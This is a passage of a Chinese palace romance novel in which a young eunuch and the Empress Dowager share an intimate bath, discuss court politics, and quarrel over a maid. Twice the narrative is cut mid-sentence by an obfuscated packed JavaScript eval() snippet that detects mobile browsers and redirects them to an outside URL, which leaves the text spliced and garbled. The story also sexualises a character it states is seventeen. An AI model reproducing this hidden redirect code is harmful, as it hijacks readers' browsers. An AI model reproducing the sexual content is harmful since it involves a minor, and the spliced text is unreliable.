转过最后一道雕花月洞门,眼前豁然开朗,是一处独立的小院,院中引了温泉水,即便在严冬,也氤氲着薄薄的雾气,几株耐寒的绿植上覆着晶莹的雪挂,在廊下宫灯和屋内透出的暖光映照下,宛如琉璃世界。正中一座殿宇,规制不大,却极精巧,门窗紧闭,温暖的橘色光晕从糊着高丽纸的窗格里透出来,朦朦胧胧。 这里,是永寿宫专属于太后的浴堂。 门口侍立着两名身着浅碧色宫装,容貌清秀的年轻宫女,见到关禧走近,两人迅速交换了一个眼神,随即齐齐躬身,脸上没有丝毫惊讶,只有全然的恭顺。 “掌印。”其中一名宫女轻声开口,声音柔婉,“娘娘正在沐浴。江嬷嬷吩咐了,若是掌印来了,可直接进去伺候。” 伺候。 这个词用得微妙。他是外臣,是太监,更是权倾朝野的司礼监掌印。可在这里,在太后寝宫深处的浴堂外,他得到的指示是进去伺候。 关禧点了下头。一名宫女上前,替他推开门。 更浓郁的暖香与水汽扑面而来。室内光线比外间柔和许多,数盏造型别致的琉璃宫灯嵌在墙壁和梁柱间,光线经过水汽的折射,晕开一片朦胧迷离的光雾,将偌大的浴堂笼罩在一片暖昧的昏黄之中。 浴堂地面铺着黑色大理石,倒映着晃动的灯影和水光。正中央,是一个以整块汉白玉砌成的浴池,池壁雕刻着繁复的莲花与祥云纹样。池内热水氤氲,水面漂浮着各色新鲜的玫瑰,茉莉花瓣,随着水波荡漾。池边摆放着同样质地的白玉踏脚和矮几,上面随意搁着盛放香露,澡豆的琉璃瓶罐,以及一壶犹自冒着袅袅热气的清茶。 而池中,有人。 郑书意背对着门口,乌黑浓密的长发尽数绾起,用一根简单的碧玉长簪固定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277514|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在头顶,露出修长优美的脖颈和一片光裸的背脊。她的身体大半浸在温热的水中,水面恰好在肩胛骨下方晃动,花瓣贴着她如玉的肌肤,随着水波起伏。水汽蒸腾,让那裸露在外的肩背线条显得愈发柔和莹润,在朦胧光线下,泛着细腻的光泽。她刚刚结束清洗,一只手臂搭在池边。 江嬷嬷正带着两名贴身宫女,垂手侍立在池边不远处。见到关禧进来,江嬷嬷的眼神闪动了一下,侧头,对着那两名宫女摆了一下手。 两名宫女会意,屈膝行礼,然后低着头,退了出去,并从外面带上了门。 江嬷嬷转向浴池方向,躬身,用一种恰到好处,既能让人听清又不显突兀的音量禀道:“娘娘,关掌印来了。” 池中,郑书意有了反应,抬起那只搭在池边的手臂,向后摆了摆。 一个简单的手势,示意江嬷嬷也可以退下了。 江嬷嬷深深看了关禧一眼,那目光里承载了太多难以言喻的东西,最终化为一声叹息,她也躬身退了出去。 “咔哒。” 门被合拢的声音。 偌大的浴堂,此刻只剩下氤氲的水汽,晃动的灯影,漂浮的花瓣,池中慵懒背对的美人,以及站在门边,一身风雪气息尚未散尽,玄衣玉面的少年权宦。 关禧站在原地,他的目光落在郑书意浸在水中的背影上,那片雪白的肌肤,晃动的花瓣,湿漉漉贴着颈侧的发丝……方才在司礼监大堂强压下的所有烦躁隐痛,以及那种被枷锁困住的窒息感,在胸腔里左冲右突,烧得他眼底发红。 他忽然觉得身上那件竹青色的外袍,那柔软的云缎中衣,乃至外面这件玄色斗篷,都变得无比累赘束缚,紧贴着他的皮肤,提醒着他的身份处境,以及那些必须遵守令人作呕的规则。 他懒得再装。 懒得再维持那副恭顺谨慎,滴水不漏的九千岁面具。 在这里,只有他们两人,装给谁看? 关禧抬手,解开了斗篷领口的丝绦。玄色织金的厚重织物滑落在地,接着,是那件竹青色绣流云纹的外袍,云缎中衣……一件件,被他扯开,褪下,随手丢弃在地上。 衣物摩擦的窸窣声,在寂静的浴堂里格外清晰。 池中,郑书意察觉到了身后的动静,搭在池边的手指蜷缩了一下。 很快,关禧身上便只剩下最后一件贴身亵裤。年轻的身体暴露在温暖湿润的空气中,宽肩窄腰的线条流畅充满力量感,肌肤在琉璃宫灯迷离的光线下,呈现出一种冷白如玉的质感,与池中那片莹润的暖白形成了鲜明的对比。 他走到池边,没有任何迟疑或请示,直接抬腿,跨入了浴池。 “哗啦——” 温热的水流骤然包裹住他的身体,激起一片更大的水花。漂浮的花瓣被冲击得四散开来,又随着水波荡漾着重新聚拢。 水波晃动。 郑书意终于侧过头来。氤氲的水汽濡湿了她的鬓角,几缕发丝贴在她嫣红的脸颊旁,杏眼因热气显得越发水润迷蒙,眼尾天然上挑的弧度在此时少了平日的威仪,多了几分媚意。她的目光落在关禧毫不掩饰阴郁的脸上,扫过他紧抿的唇,滑过他的胸膛,最后重新与他的视线对上。 她的唇边,慢慢漾开一个弧度。 关禧走到她面前,伸出手,不由分说地,揽住了她浸在水中的腰肢,那腰肢柔软富有弹性,肌肤滑腻如最上等的丝绸,沾了水,更显得晶莹剔透。 郑书意轻笑了一声,顺势仰头,更贴近他,湿漉漉的睫毛下,目光像是带着钩子,刮过关禧紧抿的唇和细紧的下颌线,“今日倒是直接。外头雪大,一路走来,冻着了?” “娘娘不是喜欢直接么?”关禧收紧了手臂,将她温软馥郁的身体更紧地压向自己。 他低下头,鼻尖触到她的额发,“奴才装模作样,娘娘嫌虚伪。奴才直接了当,娘娘又嫌莽撞?” 郑书意抬起一只手,湿淋淋的指尖抚上他的脸颊沿着紧绷的颌线滑动,最后停留在他的喉结上,轻轻一按,“牙尖嘴利,是跟谁学的?哀家可没教你这样跟哀家说话。” 关禧喉结在她指尖下滚动了一下,他偏头,张口咬住了她作乱的手指。齿尖陷入柔软的指腹,又在尝到那点咸湿池水后,用舌尖舔了一下。 郑书意呼吸微滞,眼中水光蓦地一深。 关禧松开口,看着那指腹上清晰的齿痕,眼底暗火燃烧,“没人教。”他盯着她的眼睛,一字一句,“是奴才自己无师自通。” 话音未落,他另一只手也环了上来,把她整个人牢牢锁在怀中,然后低下头,吻住了她的唇。 这个吻毫无温柔可言,更像是一场单方面的掠夺,他撬开她的牙关,长驱直入,攫取她的呼吸,啃咬她的唇舌。 池水因为两人激烈的动作哗啦作响,水花溅起。 许久,直到肺部空气耗尽,关禧才松开她。 两人额头相抵,都在剧烈喘息。 郑书意的唇被吮得红肿水亮,眼里情欲的水光几乎要满溢出来,脸颊红晕更盛,胸口随着喘息起伏。她看着关禧同样染满情动颜色的脸,看着他眼中那片混乱的暗火,低低笑了起来。 “这才像样。”她喘息着说,指尖划过他湿透的胸膛,停留在某处旧痕上摩挲,“关禧,记住你现在的样子。恨哀家,又离不开哀家;想撕碎这一切,又不得不依附这一切……这副矛盾的模样,比你平日里那副恭顺死寂的样子,让哀家瞧着,顺眼多了。” 关禧身体一僵,随即,那股自暴自弃的火焰烧得更旺,他上前一步,用力把她抵在池壁上,贴着她的耳廓,气息灼热,“那太后娘娘可要好好看着。看着奴才这副,您亲手雕琢出来的模样。” 他不再言语,用行动代替了所有回答。 温热池水成了最好的媒介,也成了最暧昧的遮掩。 水波剧烈动荡,哗啦声不绝于耳,混合着逐渐失控的喘息,在奢华的浴堂内回荡。 窗外,风雪正急。 浴堂内,春色无边。 108.第 113 章 浴堂内氤氲的水汽渐渐沉淀。 池水平息下来,只余下细微的涟漪。关禧靠在温润的玉池壁上,胸膛起伏,额发湿透,有几缕黏在光洁的额角。他闭着眼,片刻后,才睁开,重新浸入水中,仔细清洗自己。 手指拂过肌肤,带起水花,动作不疾不徐,将方才激烈纠缠留下的所有痕迹,连同心底那些翻腾不休的情绪,一同洗净。 洗罢,他跨出浴池。水珠顺着他年轻紧实的身体线条滑落,滴在地上,很快洇开一小片深色。他赤足走到一旁放置洁净布巾的矮架旁,拿起一块柔软的雪白棉巾,把自己从头到脚擦得半干。 然后,他转身,看向池中。 郑书意仍倚在池边,阖着眼,湿发有几缕散落颈侧,衬得肌肤愈发莹白。花瓣粘在她肩头锁骨,随着她细微的呼吸起伏。 关禧走过去,俯身,用另一块干净的布巾,裹住她的肩头,将她从温水中扶起。 郑书意睫毛颤动了一下,顺着他的力道,任由他将自己带离水面。水声哗啦。她的身体完全暴露在空气中,水珠沿着玲珑的起伏滚落,在宫灯的光线下闪烁着细碎的光。 关禧的动作顿了顿,视线不受控制停留了一瞬,随即垂下眼睫,用宽大的布巾将她整个包裹,开始轻柔擦拭。 从潮湿的发梢,到优美的颈项,圆润的肩头,再到……他擦拭得极认真,指腹隔着柔软的棉布,感受着那具躯体的柔软。 没有狎昵,没有刻意。 郑书意始终半阖着眼,只有在他擦拭到某些部位时,喉咙里会溢出猫儿般哼声。 擦干身体,关禧将她打横抱起。她比看起来要沉一些,带着沐浴后暖融融的温度和香气,毫无保留倚靠在他怀中。 他抱着她,走过微凉的地面,来到浴堂内侧专设的更衣暖阁。 这里比外间更加温暖干燥,地面铺着波斯绒毯,墙角鎏金仙鹤香炉吐着清雅的鹅梨帐中香。靠墙的紫檀木衣柜敞开着,里面整齐悬挂着各色寝衣。 关禧先将郑书意放在铺着柔软狐裘的贵妃榻上,用绒毯盖好。然后走到衣柜前,略一打量,取出一套与他身上云缎中衣质地相仿,但颜色是更柔和的浅樱粉的寝衣,以及同色的绸裤和一件略厚些的月白缎面夹棉长袍。 他走回榻边,掀开绒毯,开始替她穿衣。先抬起她的手臂,套上柔软贴身的寝衣。系好颈侧与腰侧的细带时,他需要俯身靠近。接着是绸裤,他单膝跪地,托起她的脚踝,套上裤管,一直提到腰际。最后是那件月白长袍,宽袍大袖,罩在外面,掩去了寝衣勾勒出的曼妙曲线,只余下雍容。 整个过程中,郑书意都极其配合,有些昏昏欲睡,只是在他偶尔动作稍重时,会微微蹙眉,或是调整一下姿势。 替她穿好鞋袜,一双柔软的白绫袜和暖和的紫羔皮软底睡鞋,关禧这才直起身,快速将自己那套云缎中衣和竹青色外袍重新穿上,系好衣带,又将那件丢弃在地的玄色斗篷拾起,抖了抖。 他再次将郑书意抱起,这次她清醒了些,自然而然地伸出双臂,环住了他的脖颈,脸埋在他颈窝处。 关禧抱着她,稳稳走出暖阁,穿过静谧无人的浴堂回廊,踏入连接寝殿的甬道。 永寿宫寝殿内,早已是另一番天地。 地龙烧得极暖,空气干燥馥郁。重重锦帐低垂,遮住了拔步床内大部分景象,只透出暖黄朦胧的光。床前鎏金熏笼里银骨炭燃烧,榻前一片区域烘得暖意融融。窗棂紧闭,风雪隔绝,只有偶尔风掠过檐角,发出低沉的呜咽,更衬得室内静谧安适。 关禧绕过屏风,走到床边,将郑书意放在铺着驼绒垫褥的床沿坐下。他半跪下来,为她褪去软鞋,然后直起身,扶着她躺下,拉过锦被盖至她腰间。 他自己也脱下外袍和靴子,仅着中衣,在她身侧躺下。床榻宽大,锦绣堆叠。两人之间隔着一拳的距离,气息却已在温暖的被褥间交融。 郑书意似乎真的倦了,闭着眼,长长的睫毛在眼下投出浅浅的阴影。但过了一会儿,她翻了个身,朝着关禧这边偎了过来,手臂横过他腰间,脸颊贴在他肩侧,找了个最舒适的姿势,整个窝进了他怀里。 关禧身体微僵,随即放松。他抬起手臂,犹豫了一下,最终还是落在了她披散着柔滑长发的背上,有一下没一下轻抚着。 “今冬的雪,下得格外久。”郑书意忽然说,声音微哑,响在关禧肩头。 “嗯。”关禧应了一声,手指缠绕着她一缕发丝,“去岁这时候,已经晴过好几回了。” “瑞雪兆丰年。”她轻笑,气息喷在他颈侧,“但愿明年是个好年景,边关少些战事,国库也能充裕些。” “有太后娘娘坐镇,风调雨顺是必然的。”关禧的回答带着惯有的恭维,又因此刻亲密的姿态,少了几分朝堂上的疏离。 郑书意在他怀里动了动,仰起脸看他。烛光透过帐子,在她脸上落下柔和的光影,那双杏眼半睁着,褪去了浴池中的媚意,只剩下一片懒洋洋的清明,“就你会说话。”她抬手,用指尖戳了戳他的胸口,“柳正文那老东西,要是有你一半会看眼色,哀家也省心许多。” 话题陡然转向朝堂,关禧抚着她背脊的手停了停,“首辅大人……”他斟酌着词句,“年事已高,近来又一直称病,或许是精力不济了。” “精力不济?”郑书意哼了一声,指尖在他胸膛画着圈,力道重了些,“他那是心里头不痛快,跟哀家耍脾气呢。觉得哀家一个女人,手伸得太长,管得太多。他们柳家世代清流,自诩忠君体国,心里头那杆秤,终归还是更偏向皇帝那头。称病不朝?不过是摆个姿态,告诉哀家,也告诉前头那些观望的人,他柳文正不掺和某些事。” 她口中的某些事,自然是指她与皇帝之间日益微妙的权力博弈,以及关禧这个她一手扶持起来,如今权倾朝野的阉党首领的崛起。 关禧沉默片刻,低声问:“娘娘是想让奴才……动一动柳家?” 他问得直接。掌权数月,他已深谙如何为太后扫清障碍,柳家虽是百年清流,树大根深,但若太后真要动手,他也有的是法子能让他们倒下去。 郑书意“啧”了一声,抬眸瞪他,手上力道加重,在他胳膊内侧掐了一把。 “嘶——”关禧没防备,抽了口凉气。 “莽撞!”郑书意收回手,重新窝回他怀里,语气带着几分嗔怪,“柳正文迂腐是迂腐,能力却是不错的。六部运转,朝政平衡,这些年没出大乱子,也有他一份苦劳。哀家是要敲打,不是要拆台。真把他弄下去了,换个更不听话、或者更没用的上来,岂不是给自己找麻烦?” 她顿了顿,指尖又在他中衣的系带上绕了绕,声音低了下去:“这朝堂啊,像一架精密的机括,每个齿轮都得在它该在的位置上,转得太快不行,卡死了更不行。柳家……现在还算是个有用的齿轮,只是需要紧紧弦,上点油,让它别生出不该有的锈来。” 关禧听懂了。 太后对柳家,是既要利用其声望和能力维持朝局稳定,又要威慑其不得倒向皇帝,更不允许他们成为阻碍她掌控权力的锈。这其中的分寸,需要极高的手腕。 “奴才明白了。”他应道,手臂收紧了些,“那娘娘的意思,是让奴才寻个由头,敲打敲打柳家?或是,找点能让柳首辅清醒清醒的东西?” 郑书意抬起眼,细细端详着他近在咫尺的脸。少年俊美的轮廓在朦胧光线下柔和了许多,她忽然探身,在他唇上轻啄了一下,“聪明。不过不急。年关将近,各部都忙,等过了这个年再说。柳正文既然病着,就让他好好养病。开春之后……吏部、都察院,总有几桩事情,可以让他带病操操心。” 她的话语轻描淡写,却已为明年开春的政治风向定下了基调。 关禧默默记下,不再多言。 殿内重归寂静。温暖的被褥,怀中美人的馨香与柔软,熏笼持续的暖意,让他紧绷的神经不由自主松弛下来,倦意如潮水般上涌。 郑书意倒是不困,在他怀里蹭了蹭,寻了个更舒服的位置,脸颊贴着他温热的胸膛,听着那平稳有力的心跳,又道:“明年开春,宫里也该添些新人了。皇帝登基这些年,后宫一直不算充盈,子嗣也单薄。哀家想着,趁着春暖花开,好好办一场选秀,挑些品貌端庄、家世清白的姑娘进来,也好为皇家开枝散叶。” “前朝那些个臣子,家里有适龄女儿的,怕不是早盼着了。这也好,选些知根知底的,总比不知从哪里冒出来的狐媚子强。四妃的位子,总不能一直空着,也该有人填上去,帮着皇后协理六宫,分分忧。” 四妃…… 关禧眼前倏然掠过承华宫寂静的庭院,冯昭仪那张温婉的脸,以及……她身边那个永远沉静如水的青色身影,下意识的,一个念头冲口而出:“娘娘思虑周全。只是……新人虽好,到底年轻,对宫中规矩人事生疏,骤然居高位,恐难服众,也未必能立刻帮衬娘娘与皇后。依奴才浅见,不如……先从现成的人里,拉拔一两个上来?” “哦?你有人选?”郑书意抬起眼看他,杏眼在昏黄帐内光线下显得幽深。 关禧迎着她的目光,心跳得有些快,面上竭力维持着平静,“奴才觉得……承华宫的冯昭仪娘娘,入宫多年,资历足够,性情温婉,行事稳妥,协理宫务也一直尽心尽力。最重要的是,冯家是清流,向来不偏不倚。若娘娘此时施恩,将她提上来,冯家想必感激涕零,冯昭仪也定然更能体会娘娘苦心,往后……自然更知分寸。” 他说得冠冕堂皇,每一句都像是在为太后扩充势力,拉拢中立派系着想。可心底那点连自己都不愿深究的期盼,像冰层下的暗流涌动,冯昭仪若得势,地位稳固,她宫中的人,自然水涨船高。 楚玉……总归能过得好些,少受些磋磨,也更安全些。 郑书意看着他,看了好一会儿。帐内光线昏暗,她的眼神却像能穿透皮囊,直抵人心。方才那点温存,早已退去,嘴角那点若有似无的笑意,慢慢淡了,消失了。 忽然,她轻笑了一声,短促,冰凉。 她伸出手,不是方才那种带着亲昵的触碰,指尖抬起了关禧的下巴,迫使他面对自己。 “冯昭仪?冯家清流,不偏不倚?关禧,你如今是越发会为哀家着想了。拉拢冯家,倒确实是个不错的主意。” “只是……你这么急着为冯昭仪铺路,是真觉得她能帮哀家分忧,还是……”她顿了顿,杏眼微眯,“惦记着她宫里那个叫楚玉的丫头,怕她在不得势的主子手下受了委屈,想给她换个更安稳的靠山,嗯?” 关禧呼吸一窒,方才那点自以为是的盘算和隐秘期盼,在她洞悉一切的目光下,瞬间无所遁形,碎成齑粉。 “娘娘……”他喉咙发干,想辩解,却发现自己在她这样的注视下,竟连一句完整圆滑的托词都组织不起来。 他触怒她了,他因为那点不该有的私心,越界了。 郑书意看着他眼底一闪而过的慌乱,那股无名火“蹭”地一下烧得更旺,她松开了钳制他下巴的手,坐起了身,锦被从肩头滑落,露出月白寝衣下一段优美的脖颈和锁骨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280326|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她居高临下地俯视着半躺在榻上的关禧,胸口起伏,冷声道: “怎么不说话了?被哀家说中了?哀家给你的还不够多?司礼监掌印,滔天的权势,哪一样不是哀家给你的?你现在倒好,翅膀还没硬透,就敢在哀家眼皮子底下,为你心里头那点见不得光的人打算盘了?关禧,你是不是忘了,楚玉的命,是谁暂时替你保着的?你是不是也忘了,你如今拥有的一切,都是谁赏的?” 她的质问一句接一句,又急又厉,完全失了平日里的雍容淡定,倒像个……像个被触动了某种禁忌领域,骤然竖起尖刺的…… 关禧被她这突如其来的激烈反应震得有些发懵,脑子一时没转过来。太后生气了,他当然知道,可这气似乎不仅仅是源于他公私不分的建议,也不仅仅是对他可能恃宠生骄的警告。这怒火里,夹杂着个人化的情绪。 一个荒谬绝伦,又无比清晰的念头。 她……这是在吃醋? 为了他刚刚那个,明显更偏向楚玉的私心? 这个认知让关禧僵住,高高在上,执掌生杀,将他当作棋子与玩物般操控的太后,竟然会因为他提及另一个女人可能受益而动怒?流露出这般失态的情绪? 荒谬。太荒谬了。 可偏偏,眼前这张因薄怒而染上绯红,柳眉倒竖,杏眼圆睁的脸,在摇曳的烛光下,少了平日的深不可测,多了几分鲜活生动的气恼。 一时间忘了恐惧,忘了辩解,他喉结滚动了一下,喃喃出声: “娘娘,您这是在跟一个宫女置气?” 话一出口,关禧就后悔了。这简直是在火上浇油。 果然,郑书意脸上的红晕更深,不是羞涩,是怒极,她扬手,想给他一巴掌,可手挥到半空,又硬生生顿住了,指尖发抖。 “你放肆!”她低声喝道,“哀家是气你不识抬举,不知分寸!谁允许你妄自揣测哀家的心思?!” 关禧看着她强作镇定却难掩波动的模样,心底那点荒谬感越来越清晰,他知道自己此刻应该请罪,应该惶恐,应该把姿态放到最低。 可不知怎的,看着她这副样子,他忽然就不想那么做了。 他撑着坐起身,凑近了些,抬手,握住了她顿在半空的手腕。 “奴才该死。”他嘴上说着请罪的话,目光却直直看着她的眼,“奴才愚钝,惹娘娘生气了。” 他停顿了一下,指尖在她细腻的腕骨上摩挲了一下,目光掠过她因薄怒愈发明亮的眼睛,微蹙的柳眉,泛红的脸颊,还有那形状优美的唇。 “只是……奴才从未见过娘娘这般模样。”他声音更低,更缓,“柳眉杏眼含嗔带怒,眼波流转处,倒比平日更添颜色,像是……像是春水初融,映着桃花,好看得紧。” 这话说得大胆至极,逾越至极。已不仅仅是哄劝,调情,且是以下犯上的调情。 郑书意被他握住手腕,又听得这番言语,整个人都僵住了。她想抽回手,想厉声斥责他僭越无礼,想让他滚出去……可手腕被他握着的地方传来温热的触感,他指尖那小心翼翼的摩挲,他眼中那毫不掩饰的目光,还有他那番直白赞美的话语……把她胸腔里那股熊熊燃烧的怒火,一点点浇熄。 她掌权多年,听过无数阿谀奉承,言辞比这华丽的不知凡几。可从没有人,敢在这样的情境下,用这样的眼神,这样的语气对她说这样的话。 像是在认错,又像是在告白。 像是在安抚她的怒火,又像是在挑衅她的权威。 像是在为她吃醋而欣喜,又像是在为这发现而雀跃。 复杂难言,却偏偏……该死的有效。 郑书意深吸一口气,又缓缓吐出,试图平复过快的心跳,别开了脸,不再与他对视,声音已软了许多: “油嘴滑舌……跟谁学的这些浑话?还不松开!” 关禧见她态度松动,心中一定,得寸进尺地将她的手拉下,握在掌心。他倾身,额头要抵上她的,温热的气息拂过她的脸颊,声音轻得像羽毛搔刮在心上: “没跟谁学,是奴才瞧着娘娘生气,心里着急,胡乱说的。但字字是真。娘娘什么样,在奴才眼里都是顶好的。只是……方才那样,格外生动,奴才一时看呆了,才口不择言。娘娘若还生气,只管罚奴才,奴才绝无怨言。” 他一边说,一边观察着她的神色,见她眼角余光瞥过来,虽仍板着脸,但眼底厉色已消。他心念一动,大着胆子,低头,在她抿着的唇角,印了一下。 一触即分。 像蜻蜓点水,却带着燎原的火星。 郑书意浑身一颤,转回头看他,眼中满是惊愕,嘴唇微张,似乎想说什么,却最终什么也没说出来。脸颊上的红晕,烧透了。 关禧见她没有发作,胆子更大了些,索性伸手,将她揽回怀里,让她重新靠在自己胸前,“娘娘别气了,奴才知错了。冯昭仪的事,奴才再不提了。选秀也好,四妃也罢,都听娘娘的安排。奴才只是娘娘的奴才,心里只该装着娘娘,不该有别的念想。奴才记下了。” 他以退为进,姿态放得极低,话语里却将自己与她紧紧捆绑在一起,抹去了楚玉的影子,只留下顺从。 郑书意靠在他怀里,听着他沉稳的心跳,感受着他身上传来的温热,鼻尖萦绕着他沐浴后清爽又带着一丝独有气息的味道。方才那场突如其来的风波,那尖锐的醋意,那被看穿的羞恼,在他这番大胆又诚恳的连消带打下,竟平息了。 她闭上眼,在他胸前蹭了蹭,低低“嗯”了一声,算是回应。 109.第 114 章 次日清晨。 雪霁。 郑书意先醒。 意识像是从温软的水底缓慢上浮,尚未完全清明,身体的感知已先一步复苏。暖,很暖。锦被蓬松,身下垫褥柔软,腰间环着一条手臂,沉甸甸的。手臂贴着一片温热的胸膛,规律的心跳透过薄薄的寝衣布料,一下,又一下,平稳传递过来。 她动了动,想要舒展一下有些僵麻的肩颈,却发现自己动弹的幅度十分有限。那环在腰间的手臂似乎察觉到她的意图,下意识收紧了,一个毛茸茸的脑袋还顺势在她颈窝处蹭了蹭,呼吸温热,拂过她敏感的耳后肌肤。 郑书意彻底醒了。 她保持着侧卧的姿势,理清了此刻的状况,不是她像昨夜入睡前那般,依偎在他怀里。而是他,不知何时,竟翻了个身,大半个身子的重量都靠了过来,手臂搂着她的腰,脸埋在她颈侧,以一种全然依赖的姿势,窝在了她的怀里。 像个……在冰天雪地里跋涉了太久,终于找到一处温暖洞穴,便迫不及待将整个身子蜷进去,连睡梦中都死死扒住热源不肯松手的兽。 这个认知让郑书意有片刻的怔忪。 她睁开眼。视线适应了帐内昏昧的光线,首先映入眼帘的,是近在咫尺的一小片肌肤,属于关禧的颈侧。年轻光滑,上面还残留着几道浅浅的红痕。他的头发乌黑柔软,散在枕上,也蹭在她的脸颊旁,带着他身上清淡皂角的干净气息。 他睡得正沉。平日里那双或沉静,或算计,或阴郁的丹凤眼,紧紧闭着,长而密的睫毛在眼睑下投出两弯阴影。鼻梁挺直,嘴唇……平日里总是习惯性抿着,此刻放松,显露出原本优美的弧线,少了几分醒时的凌厉,多了些罕见的柔软。 郑书意就这样看着他,看了许久。殿内静极了,只有两人交织的呼吸声,和远处隐约宫人们开始洒扫庭院的细微声响。 他竟然会这样睡。 每次都是这样吗?郑书意忽然想起,似乎不止一次,她在他身边醒来时,两人之间的姿势,总与入睡前不同。有时是他将她揽得更紧,有时像现在这样,他悄无声息就钻进了她怀里。她素来睡眠警醒,鲜少被人近身而不察,可偏偏对他……或许是她潜意识里知道是他,便卸下了防备?又或许,是他动作太轻,太自然,像是早已演练过千百遍? 一丝极淡,连她自己都未曾意识到的怜惜,悄然漫过心田。可这怜惜只持续了短短一瞬,便被更现实的浪潮覆盖。 他才十七岁。 十七岁。 而她……快四十了。 二十二年的鸿沟,横亘在他们之间。不仅仅是年龄,更是阅历,心性,乃至对生命的全部感知。她在他这个年纪时,早已入宫,在波谲云诡的后宫中挣扎求存,学会了察言观色,学会了隐忍谋划,甚至已经生下了萧衍,开始为自己和儿子的未来搏杀。她的青春,她的天真,早早就埋葬在了这重重宫墙之下,化作了如今这身华服之下冷硬的心肠和算尽机关的手腕。 可他呢?十七岁的关禧,本该是鲜衣怒马,意气风发的少年郎,或许在学堂里与同窗争辩,或许在春日里纵马踏青,或许心里偷偷藏着某个羞于启齿的姑娘……而不是像现在这样,穿着太监的服饰,顶着九千岁的名头,手上沾着洗不净的血,夜里像一只受冻的雏鸟般,紧紧依偎在一个年长他二十二岁,足以做他母亲的女人怀里,寻求那一点可怜的短暂温度和安宁。 郑书意心头泛起一阵细密的刺痛。 不是后悔,她从不为自己做的选择后悔。而是某种类似于看着一件精美却注定易碎的瓷器,被自己亲手涂上了最浓艳也最污浊的色彩,既欣赏这扭曲后的独特美感,又难以避免地,为它原本该有清透的模样感到一丝惋惜,和罪恶。 她吸了一口气,冰凉的空气吸入肺腑,压下了那点不合时宜的柔软。 目光重新落回关禧熟睡的脸上,那点怜惜,渐渐被更复杂的审视取代。这孩子……不,这少年,这柄她亲手打磨淬炼的刀,睡着时是这般毫无防备的依赖模样,可一旦醒来,那双眼睛里便盛满了与她如出一辙的深沉心机,甚至在某些时刻,爆发出连她都心惊的狠戾。他依赖她,却也恨她;他取悦她,却也试图掌控她;他离不开她给的权势和庇护,却也时时刻刻想要挣脱她。 矛盾,扭曲,却又偏偏……如此鲜活,如此有趣,如此让她…… 郑书意没有深想下去。 她伸出手,指尖悬空,隔着一寸的距离,虚虚描摹着他眉眼轮廓,从光洁的额头,到挺直的鼻梁,再到那双此刻紧闭,却总能搅动她心绪的眼睛,最后停在那唇角。 真是一副好皮囊。老天爷赏的,也是她一手雕琢成如今这般模样的。 指尖终究没有落下。她收回了手,重新闭上眼睛,调整了一下呼吸,将心头那点翻涌的杂念尽数压下。 罢了。 既然已经走到了这一步,既然他已成了她棋盘上最重要,也最特殊的一枚棋子,既然他们之间早已纠缠不清,剪不断,理还乱……那便继续走下去吧。怜惜也好,罪恶也罢,都是这深宫权斗中最无用也最奢侈的情绪。她需要的,是他这把刀足够锋利,足够听话,也足够……与她在这条看不到尽头的路上,相互依偎,相互取暖,哪怕这温暖建立在无数不堪之上。 至于年龄……二十二年的差距,或许在旁人眼中是惊世骇俗,是难以逾越的沟壑。可在这吃人的皇宫里,在权力巅峰的孤独寒冷中,这点年龄差距带来的复杂况味,不足为奇。 关禧觉浅。 他眼帘未掀,先以身体感知着周遭。温香软玉在怀,是郑书意,她醒了,但没动。可她的身体不像往日晨醒时那般放松,透着一种隐嗨的紧绷,那心跳比平时快了些。 怎么了? 这个念头划过脑海,驱散了最后一丝朦胧。关禧睁开眼,目光先是落在近在咫尺那段雪白优美的颈上,然后,他动了。 就着侧卧的姿势,脸埋进她披散着馨香长发的颈窝,鼻尖蹭过温热细腻的肌肤,含糊地问: “娘娘……怎么了?” 他的声音很轻,温热的气息全数喷在她的颈侧。 郑书意被他这突如其来的贴近和询问弄得浑身一僵,那点暗藏的心事被戳了一下,她本能否认:“没怎么。”转了个身,声音因他气息的侵扰有些不稳,“睡你的。” 关禧却不肯罢休。 他维持着从背后拥着她的姿势,手臂用力,将她整个人带着,轻而易举翻转过来,变成了面对面的姿态。随即,他撑起上半身,双臂一左一右,压在她身侧的锦褥上,将她困在了自己身下与床榻之间。 他垂着眼,目光落在她脸上,审视着她。那张明艳的脸上犹带睡意,此刻却因他这极具压迫感的姿势和专注的凝视,晕开了一层薄红,不是胭脂,胜似胭脂。 她的眼神有些闪躲,不像平日那般深不见底,直透人心,反倒像是被看穿了什么隐秘的心事,带着一丝来不及完全掩藏的羞恼。 关禧心头那点探究瞬间变了味道。昨夜浴池的旖旎,床榻间的温存,尚未完全冷却的记忆翻涌上来,混合着她不同寻常的赧然。他俯身,更凑近了些,目光锁着她躲闪的眸子,唇角勾起一抹戏谑的弧度。 “心跳这么快,呼吸也乱,娘娘,”他顿了顿,刻意放慢语速,每个字都清晰无比,“是不是想要?” “轰——” 郑书意只觉得一股热气从脚底直冲头顶,脸颊烧得滚烫,连耳根脖领都未能幸免。她简直不敢相信自己听到了什么,这混账东西!他、他怎么敢……怎么敢用这种话,这种语气,在这种青天白日,刚刚睡醒的时候,就这样直白地问出来?! 